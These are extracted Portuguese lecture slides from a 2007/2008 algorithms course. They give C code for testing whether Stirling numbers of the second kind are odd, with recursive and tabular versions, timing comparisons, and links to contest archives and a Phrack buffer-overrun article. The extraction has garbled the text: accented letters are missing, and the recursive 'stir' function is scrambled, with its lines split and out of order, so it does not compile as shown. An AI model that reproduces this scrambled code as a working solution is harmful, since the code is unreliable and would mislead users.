Maratona Inter-Universitria de Programao
SWERC:
ACM Southwestern Europe Programming Contest
ICPC: [http://icpc.baylor.edu/icpc]
ACM International Collegiate Programming Contest
Exemplos
Determinar se mpar o nmero de maneiras
de particionar um conjunto de n elements em m
subconjuntos no vazios.
Problema:
Soluo Recursiva
#define odd(x) ((x)&1)
extern int stir(int, int);
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
printf("%d %d %d\n", n, m, odd(stir(n,m)));
}
int stir(int
{
if (m < 1)
if (m == n
return m *
}
n, int m)
return 0;
|| m == 1 || n <= 1) return 1;
stir(n - 1, m) + stir(n - 1, m - 1);
Soluo Tabular I
#include <stdio.h>
#include <stdlib.h>
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab;
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab = (int*) malloc((n+1)*(m+1)*sizeof(int));
if (partab == NULL) { exit(1); }
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}
IAED 2007/2008 p.556/569
Soluo Tabular I
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 1, minim;
for (i = 0; i <= n; i++) {
*(partab + i*(m+1) + 0) = 0;
*(partab + i*(m+1) + 1) = 1;
}
for (i = 2; i <= n; i++) {
minim = min(i, m);
for (j = 2; j <= minim; j++)
*(partab + i*(m+1) + j) =
j * *(partab + (i-1)*(m+1) + j) + *(partab + (i-1)*(m+1) + j-1);
}
return odd(*(partab + n*(m+1) + m));
}
Avaliao Experimental
(n, m) Verso 1
(10000,500)
0.0
(10000,1000)
0.1
(10000,2000)
0.4
(100000,1000)
1.1
(100000,5000) mem out
(100000,10000) mem out
(100000,20000) mem out
(1000000,10000) mem out
(1000000,50000) mem out
(1000000,100000) mem out
Soluo Tabular II
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab[2];
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab[0] = (int*) malloc((n+1)*sizeof(int));
partab[1] = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}
Soluo Tabular II
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 0, minim;
partab[0][0] = 0;
partab[0][1] = 1;
for (i = 2; i <= n; i++) {
tog = 1-tog;
minim = min(i,m);
partab[tog][1] = 1;
for (j = 2; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
}
return partab[tog][m];
}
...
IAED 2007/2008 p.562/569
Avaliao Experimental
(n, m) Verso 1 Verso 2 Verso 3
(10000,500)
0.0
0.0
0.0
(10000,1000)
0.1
0.1
0.1
(10000,2000)
0.4
0.1
0.1
(100000,1000)
1.1
0.5
0.5
(100000,5000) mem out
2.4
2.5
(100000,10000) mem out
4.9
4.3
(100000,20000) mem out
9.2
7.9
(1000000,10000) mem out
50.6
47.1
(1000000,50000) mem out
328.6
320.2
(1000000,100000) mem out
641.4
608.0
(1000000,200000) mem out
>1000
>1000
IAED 2007/2008 p.564/569
Soluo Tabular IV
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab0, *partab1;
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab0 = (int*) malloc((n+1)*sizeof(int));
partab1 = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}
IAED 2007/2008 p.565/569
Soluo Tabular IV
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 0, minim;
partab0[0] = 0; partab0[1] = 1;
for (i = 2; i <= n; i++) {
tog = 1-tog;
minim = min(i,m);
if (tog) {
partab1[1] = 1;
for (j = 2; j <= minim; j++)
partab1[j] = odd(j) ? odd((partab0[j]+partab0[j-1])) : partab0[j-1];
}
else {
partab0[1] = 1;
for (j = 2; j <= minim; j++)
partab0[j] = odd(j) ? odd((partab1[j]+partab1[j-1])) : partab1[j-1];
}
}
return (tog) ? partab1[m] : partab0[m];
}
IAED 2007/2008 p.566/569
Avaliao Experimental
(n, m) Verso 2 Verso 4
(10000,500)
0.0
0.0
(10000,1000)
0.1
0.1
(10000,2000)
0.1
0.1
(100000,1000)
0.5
0.5
(100000,5000)
2.4
2.4
(100000,10000)
4.9
4.7
(100000,20000)
9.2
8.2
(1000000,10000)
50.6
49.8
(1000000,50000)
328.6
306.5
(1000000,100000)
641.4
580.2
(1000000,200000)
>1000
>1000
IAED 2007/2008 p.567/569
Alguns Links
Buffer overruns
http://www.phrack.org/show.php?p=49&a=14
http://www.phrack.org/
http://www.shemesh.biz/lectures.html
IOCCC
http://www.ioccc.org/
Concursos de Programao
MIUP02: http://miup2002.fc.ul.pt/
SWERC01 & SWERC02: http://swerc.up.pt/
Coleces de problemas:
acm.uva.es/problemset
www.acm.inf.ethz.ch/ProblemSetArchive.html
IAED 2007/2008 p.568/569